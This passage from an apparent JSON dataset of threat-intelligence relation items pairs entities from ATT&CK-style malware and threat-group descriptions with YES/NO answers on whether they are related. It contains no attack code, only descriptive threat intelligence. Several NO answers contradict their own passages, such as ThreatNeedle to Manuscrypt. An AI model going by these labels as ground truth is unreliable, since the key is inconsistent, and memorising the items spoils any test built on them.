target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMispadu\n### Target Entity: Delphi\n### Text Passage:\nMispadu is a banking trojan written in Delphi that was first observed in 2019 and uses a Malware-as-a-Service (MaaS) business model.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEscobar\n### Target Entity: Android\n### Text Passage:\nEscobar is an Android banking trojan, first detected in March 2021, believed to be a new variant of AbereBot.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEscobar\n### Target Entity: AbereBot\n### Text Passage:\nEscobar is an Android banking trojan, first detected in March 2021, believed to be a new variant of AbereBot.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOceanSalt\n### Target Entity: South Korea\n### Text Passage:\nOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOceanSalt\n### Target Entity: United States\n### Text Passage:\nOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOceanSalt\n### Target Entity: Canada\n### Text Passage:\nOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT1\n### Target Entity: SpyNote RAT\n### Text Passage:\nOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOceanSalt\n### Target Entity: SpyNote RAT\n### Text Passage:\nOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT1\n### Target Entity: Canada\n### Text Passage:\nOceanSalt is a Trojan that was used in a campaign targeting victims in South Korea, United States, and Canada. OceanSalt shares code similarity with SpyNote RAT, which has been linked to APT1.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCallMe\n### Target Entity: Apple OSX\n### Text Passage:\nCallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nPeppy\n### Target Entity: C2\n### Text Passage:\nPeppy can use HTTP to communicate with C2.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlue Mockingbird\n### Target Entity: Mimikatz\n### Text Passage:\nBlue Mockingbird has used Mimikatz to retrieve credentials from LSASS memory.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlue Mockingbird\n### Target Entity: LSASS\n### Text Passage:\nBlue Mockingbird has used Mimikatz to retrieve credentials from LSASS memory.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMimikatz\n### Target Entity: Blue Mockingbird\n### Text Passage:\nBlue Mockingbird has used Mimikatz to retrieve credentials from LSASS memory.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCobalt Group\n### Target Entity: SpicyOmelette\n### Text Passage:\nSpicyOmelette is a JavaScript based remote access tool that has been used by Cobalt Group since at least 2018.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSpicyOmelette\n### Target Entity: JavaScript\n### Text Passage:\nSpicyOmelette is a JavaScript based remote access tool that has been used by Cobalt Group since at least 2018.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWindows\n### Target Entity: Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group.\n### Text Passage:\nMonitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRclone\n### Target Entity: Dropbox\n### Text Passage:\nRclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRclone\n### Target Entity: Google Drive,\n### Text Passage:\nRclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRclone\n### Target Entity: Amazon S3\n### Text Passage:\nRclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRclone\n### Target Entity: MEGA\n### Text Passage:\nRclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMEGA\n### Target Entity: Rclone\n### Text Passage:\nRclone is a command line program for syncing files with cloud storage services such as Dropbox, Google Drive, Amazon S3, and MEGA. Rclone has been used in a number of ransomware campaigns, including those associated with the Conti and DarkSide Ransomware-as-a-Service operations.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStrider\n### Target Entity: Remsec\n### Text Passage:\nRemsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nRemsec\n### Target Entity: Lua\n### Text Passage:\nRemsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIceApple\n### Target Entity: Internet Information Services (IIS)\n### Text Passage:\nIceApple is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nViperRAT\n### Target Entity: Israeli\n### Text Passage:\nViperRAT is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nViperRAT\n### Target Entity: Israeli Defense Force\n### Text Passage:\nViperRAT is sophisticated surveillanceware that has been in operation since at least 2015 and was used to target the Israeli Defense Force.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nxCaon\n### Target Entity: BoxCaon\n### Text Passage:\nxCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndigoZebra\n### Target Entity: xCaon\n### Text Passage:\nxCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nxCaon\n### Target Entity: Central Asia\n### Text Passage:\nxCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nxCaon\n### Target Entity: Kyrgyzstan\n### Text Passage:\nxCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nxCaon\n### Target Entity: Uzbekistan\n### Text Passage:\nxCaon is an HTTP variant of the BoxCaon malware family that has used by IndigoZebra since at least 2014. xCaon has been used to target political entities in Central Asia, including Kyrgyzstan and Uzbekistan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nWizard Spider\n### Target Entity: Diavol\n### Text Passage:\nDiavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. The Diavol Ransomware-as-a Service (RaaS) program is managed by Wizard Spider and it has been observed being deployed by Bazar.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBazar\n### Target Entity: Diavol\n### Text Passage:\nDiavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. The Diavol Ransomware-as-a Service (RaaS) program is managed by Wizard Spider and it has been observed being deployed by Bazar.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBazar\n### Target Entity: Wizard Spider\n### Text Passage:\nDiavol is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. The Diavol Ransomware-as-a Service (RaaS) program is managed by Wizard Spider and it has been observed being deployed by Bazar.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOSX/Shlayer\n### Target Entity: Flash Player\n### Text Passage:\nOSX/Shlayer can masquerade as a Flash Player update.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nOrz\n### Target Entity: MockDll\n### Text Passage:\nSome Orz strings are base64 encoded, such as the embedded DLL known as MockDll.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKeydnap\n### Target Entity: tor2web proxy\n### Text Passage:\nKeydnap uses a copy of tor2web proxy for HTTPS communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA459\n### Target Entity: ZeroT\n### Text Passage:\nZeroT is a Trojan used by TA459, often in conjunction with PlugX. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA459\n### Target Entity: PlugX\n### Text Passage:\nZeroT is a Trojan used by TA459, often in conjunction with PlugX. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nZeroT\n### Target Entity: PlugX\n### Text Passage:\nZeroT is a Trojan used by TA459, often in conjunction with PlugX. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThreat Group-3390\n### Target Entity: HyperBro\n### Text Passage:\nHyperBro is a custom in-memory backdoor used by Threat Group-3390.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nNeoichor\n### Target Entity: C2\n### Text Passage:\nNeoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKe3chang\n### Target Entity: Neoichor\n### Text Passage:\nNeoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKe3chang\n### Target Entity: Leeson\n### Text Passage:\nNeoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKe3chang\n### Target Entity: Numbldea\n### Text Passage:\nNeoichor is C2 malware used by Ke3chang since at least 2019; similar malware families used by the group include Leeson and Numbldea.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: ThreatNeedle\n### Text Passage:\nThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: Manuscrypt\n### Text Passage:\nThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: NukeSped\n### Text Passage:\nThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nThreatNeedle\n### Target Entity: Manuscrypt\n### Text Passage:\nThreatNeedle is a backdoor that has been used by Lazarus Group since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations. It is considered to be an advanced cluster of Lazarus Group's Manuscrypt (a.k.a. NukeSped) malware family.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCHOPSTICK\n### Target Entity: Windows\n### Text Passage:\nCHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nCHOPSTICK\n### Target Entity: Linux\n### Text Passage:\nCHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT28\n### Target Entity: CHOPSTICK\n### Text Passage:\nCHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLinux\n### Target Entity: APT28\n### Text Passage:\nCHOPSTICK is a malware family of modular backdoors used by APT28. It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. \n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nLazarus Group\n### Target Entity: BADCALL\n### Text Passage:\nBADCALL is a Trojan malware variant used by the group Lazarus Group. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nProton\n### Target Entity: macOS\n### Text Passage:\nProton uses macOS' .command file type to script actions.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrickBot\n### Target Entity: C++\n### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrickBot\n### Target Entity: Wizard Spider\n### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrickBot\n### Target Entity: North America\n### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTrickBot\n### Target Entity: Australia\n### Text Passage:\nTrickBot is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to Dyre. TrickBot was developed and initially used by Wizard Spider for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of \"big game hunting\" ransomware campaigns.\n", + "output": "YES" + }, + { + "instruction": 